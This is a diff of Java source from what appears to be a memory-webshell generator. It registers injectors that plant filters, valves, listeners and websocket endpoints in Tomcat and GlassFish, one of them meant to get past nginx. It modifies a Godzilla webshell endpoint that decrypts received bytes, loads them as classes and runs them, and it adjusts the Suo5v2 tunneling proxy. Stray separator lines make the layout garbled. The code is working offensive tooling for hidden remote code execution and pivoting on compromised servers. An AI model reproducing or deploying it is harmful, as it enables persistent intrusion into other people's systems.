.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
.addInjector(FILTER, GlassFishFilterInjector.class)
|
||||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
||||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
|||||||
@@ -46,6 +46,8 @@ public class Tomcat extends AbstractServer {
|
|||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
|
.addInjector(JAKARTA_WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
|
.addInjector(BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
|
||||||
|
.addInjector(JAKARTA_BYPASS_NGINX_WEBSOCKET, TomcatWebSocketByPassInjector.class)
|
||||||
.addInjector(UPGRADE, TomcatUpgradeInjector.class)
|
.addInjector(UPGRADE, TomcatUpgradeInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.shelltool.command;
|
|||||||
import org.springframework.web.servlet.ModelAndView;
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
import org.springframework.web.servlet.mvc.Controller;
|
import org.springframework.web.servlet.mvc.Controller;
|
||||||
|
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
|
|||||||
@@ -1,6 +1,5 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.ServletRequestEvent;
|
import javax.servlet.ServletRequestEvent;
|
||||||
import javax.servlet.ServletRequestListener;
|
import javax.servlet.ServletRequestListener;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
|||||||
@@ -1,7 +1,6 @@
|
|||||||
package com.reajason.javaweb.memshell.shelltool.command;
|
package com.reajason.javaweb.memshell.shelltool.command;
|
||||||
|
|
||||||
import javax.servlet.ServletException;
|
import javax.servlet.ServletException;
|
||||||
import javax.servlet.ServletOutputStream;
|
|
||||||
import javax.servlet.http.HttpServlet;
|
import javax.servlet.http.HttpServlet;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
|||||||
@@ -4,7 +4,6 @@ import javax.websocket.Endpoint;
|
|||||||
import javax.websocket.EndpointConfig;
|
import javax.websocket.EndpointConfig;
|
||||||
import javax.websocket.MessageHandler;
|
import javax.websocket.MessageHandler;
|
||||||
import javax.websocket.Session;
|
import javax.websocket.Session;
|
||||||
import java.io.ByteArrayOutputStream;
|
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
import java.util.Scanner;
|
import java.util.Scanner;
|
||||||
|
|
||||||
|
|||||||
@@ -16,7 +16,6 @@ import java.lang.reflect.Method;
|
|||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
import java.nio.ByteBuffer;
|
import java.nio.ByteBuffer;
|
||||||
import java.nio.charset.Charset;
|
|
||||||
|
|
||||||
import static java.nio.charset.StandardCharsets.UTF_8;
|
import static java.nio.charset.StandardCharsets.UTF_8;
|
||||||
|
|
||||||
|
|||||||
@@ -12,21 +12,22 @@ import java.lang.reflect.Field;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.net.URL;
|
import java.net.URL;
|
||||||
import java.net.URLClassLoader;
|
import java.net.URLClassLoader;
|
||||||
|
import java.nio.ByteBuffer;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/5/9
|
* @since 2025/5/9
|
||||||
*/
|
*/
|
||||||
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
|
||||||
public static String key;
|
public static String key;
|
||||||
private Session session;
|
private Session session;
|
||||||
private static Class<?> payload;
|
private static Class<?> payload;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onMessage(String message) {
|
public void onMessage(ByteBuffer byteBuffer) {
|
||||||
byte[] result = null;
|
byte[] result = null;
|
||||||
try {
|
try {
|
||||||
byte[] data = base64Decode(message);
|
byte[] data = byteBuffer.array();
|
||||||
data = x(data, false);
|
data = x(data, false);
|
||||||
if (payload == null || (data[0] == -54 && data[1] == -2)) {
|
if (payload == null || (data[0] == -54 && data[1] == -2)) {
|
||||||
payload = reflectionDefineClass(data);
|
payload = reflectionDefineClass(data);
|
||||||
@@ -44,7 +45,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
|||||||
result = getErrorMessage(e).getBytes();
|
result = getErrorMessage(e).getBytes();
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
session.getBasicRemote().sendText(base64Encode(x(result, true)));
|
session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true)));
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -83,28 +84,6 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
|
|||||||
session.addMessageHandler(this);
|
session.addMessageHandler(this);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static String base64Encode(byte[] bs) throws Exception {
|
|
||||||
try {
|
|
||||||
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
|
|
||||||
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
|
||||||
} catch (Exception var6) {
|
|
||||||
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
|
|
||||||
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static byte[] base64Decode(String bs) throws Exception {
|
|
||||||
try {
|
|
||||||
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
|
||||||
} catch (Exception var6) {
|
|
||||||
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
|
||||||
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] x(byte[] s, boolean m) throws Exception {
|
public byte[] x(byte[] s, boolean m) throws Exception {
|
||||||
Cipher c = Cipher.getInstance("AES");
|
Cipher c = Cipher.getInstance("AES");
|
||||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
|||||||
@@ -248,8 +248,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
baos.write(bodyContent);
|
baos.write(bodyContent);
|
||||||
byte[] newBody = baos.toByteArray();
|
byte[] newBody = baos.toByteArray();
|
||||||
conn = redirect(req, new String(redirectData), newBody);
|
conn = redirect(req, new String(redirectData), newBody);
|
||||||
|
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(conn.getResponseCode())});
|
||||||
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
OutputStream out = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||||
pipeStream(conn.getInputStream(), out, false);
|
pipeStream(conn.getInputStream(), out, resp, false);
|
||||||
} finally {
|
} finally {
|
||||||
if (conn != null) {
|
if (conn != null) {
|
||||||
conn.disconnect();
|
conn.disconnect();
|
||||||
@@ -346,11 +347,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
|
|
||||||
Thread t = null;
|
Thread t = null;
|
||||||
boolean sendClose = true;
|
boolean sendClose = true;
|
||||||
|
final OutputStream scOutStream = socket.getOutputStream();
|
||||||
|
final InputStream scInStream = socket.getInputStream();
|
||||||
|
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
||||||
try {
|
try {
|
||||||
final OutputStream scOutStream = socket.getOutputStream();
|
|
||||||
final InputStream scInStream = socket.getInputStream();
|
|
||||||
final OutputStream respOutputStream = (OutputStream) resp.getClass().getMethod("getOutputStream").invoke(resp);
|
|
||||||
|
|
||||||
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
|
Suo5v2 p = new Suo5v2(scInStream, respOutputStream, tunId);
|
||||||
t = new Thread(p);
|
t = new Thread(p);
|
||||||
t.start();
|
t.start();
|
||||||
@@ -539,8 +539,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
throw new IOException("tunnel not found");
|
throw new IOException("tunnel not found");
|
||||||
}
|
}
|
||||||
SocketChannel sc = (SocketChannel) objs[0];
|
SocketChannel sc = (SocketChannel) objs[0];
|
||||||
if (!sc.isConnected()) {
|
if (!sc.isOpen()) {
|
||||||
throw new IOException("socket not connected");
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
byte[] data = (byte[]) dataMap.get("dt");
|
byte[] data = (byte[]) dataMap.get("dt");
|
||||||
@@ -563,9 +563,6 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
throw new IOException("tunnel not found");
|
throw new IOException("tunnel not found");
|
||||||
}
|
}
|
||||||
SocketChannel sc = (SocketChannel) objs[0];
|
SocketChannel sc = (SocketChannel) objs[0];
|
||||||
if (!sc.isConnected()) {
|
|
||||||
throw new IOException("socket not connected");
|
|
||||||
}
|
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
|
BlockingQueue<byte[]> readQueue = (BlockingQueue<byte[]>) objs[1];
|
||||||
int maxSize = 512 * 1024; // 1MB
|
int maxSize = 512 * 1024; // 1MB
|
||||||
@@ -582,6 +579,10 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
break; // no more data
|
break; // no more data
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
if (!sc.isOpen() && readQueue.isEmpty()) {
|
||||||
|
performDelete(tunId);
|
||||||
|
baos.write(marshalBase64(newDel(tunId)));
|
||||||
|
}
|
||||||
return baos.toByteArray();
|
return baos.toByteArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -610,7 +611,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
return port;
|
return port;
|
||||||
}
|
}
|
||||||
|
|
||||||
private void pipeStream(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws Exception {
|
private void pipeStream(InputStream inputStream, OutputStream outputStream, Object resp, boolean needMarshal) throws Exception {
|
||||||
try {
|
try {
|
||||||
byte[] readBuf = new byte[1024 * 8];
|
byte[] readBuf = new byte[1024 * 8];
|
||||||
while (true) {
|
while (true) {
|
||||||
@@ -624,6 +625,9 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
}
|
}
|
||||||
outputStream.write(dataTmp);
|
outputStream.write(dataTmp);
|
||||||
outputStream.flush();
|
outputStream.flush();
|
||||||
|
if (resp != null) {
|
||||||
|
resp.getClass().getMethod("flushBuffer").invoke(resp);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} finally {
|
} finally {
|
||||||
// don't close outputStream
|
// don't close outputStream
|
||||||
@@ -1031,7 +1035,7 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
// full stream
|
// full stream
|
||||||
if (this.mode == 0) {
|
if (this.mode == 0) {
|
||||||
try {
|
try {
|
||||||
pipeStream(gInStream, gOutStream, true);
|
pipeStream(gInStream, gOutStream, null, true);
|
||||||
} catch (Exception ignore) {
|
} catch (Exception ignore) {
|
||||||
}
|
}
|
||||||
return;
|
return;
|
||||||
@@ -1065,10 +1069,17 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
// write thread
|
// write thread
|
||||||
while (true) {
|
while (true) {
|
||||||
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
|
byte[] data = writeQueue.poll(300, TimeUnit.SECONDS);
|
||||||
if (data == null || data.length == 0) {
|
if (data == null) {
|
||||||
selfClean = true;
|
selfClean = true;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
if (data.length == 0) {
|
||||||
|
byte[] signal = writeQueue.poll(10, TimeUnit.SECONDS);
|
||||||
|
if (signal == null) {
|
||||||
|
selfClean = true;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
ByteBuffer buf = ByteBuffer.wrap(data);
|
ByteBuffer buf = ByteBuffer.wrap(data);
|
||||||
while (buf.hasRemaining()) {
|
while (buf.hasRemaining()) {
|
||||||
sc.write(buf);
|
sc.write(buf);
|
||||||
@@ -1080,8 +1091,8 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager {
|
|||||||
if (selfClean) {
|
if (selfClean) {
|
||||||
|
|
||||||
removeKey(this.gtunId);
|
removeKey(this.gtunId);
|
||||||
|
readQueue.clear();
|
||||||
}
|
}
|
||||||
readQueue.clear();
|
|
||||||
writeQueue.clear();
|
writeQueue.clear();
|
||||||
try {
|
try {
|
||||||
writeQueue.put(new byte[0]);
|
writeQueue.put(new byte[0]);
|
||||||
|
|||||||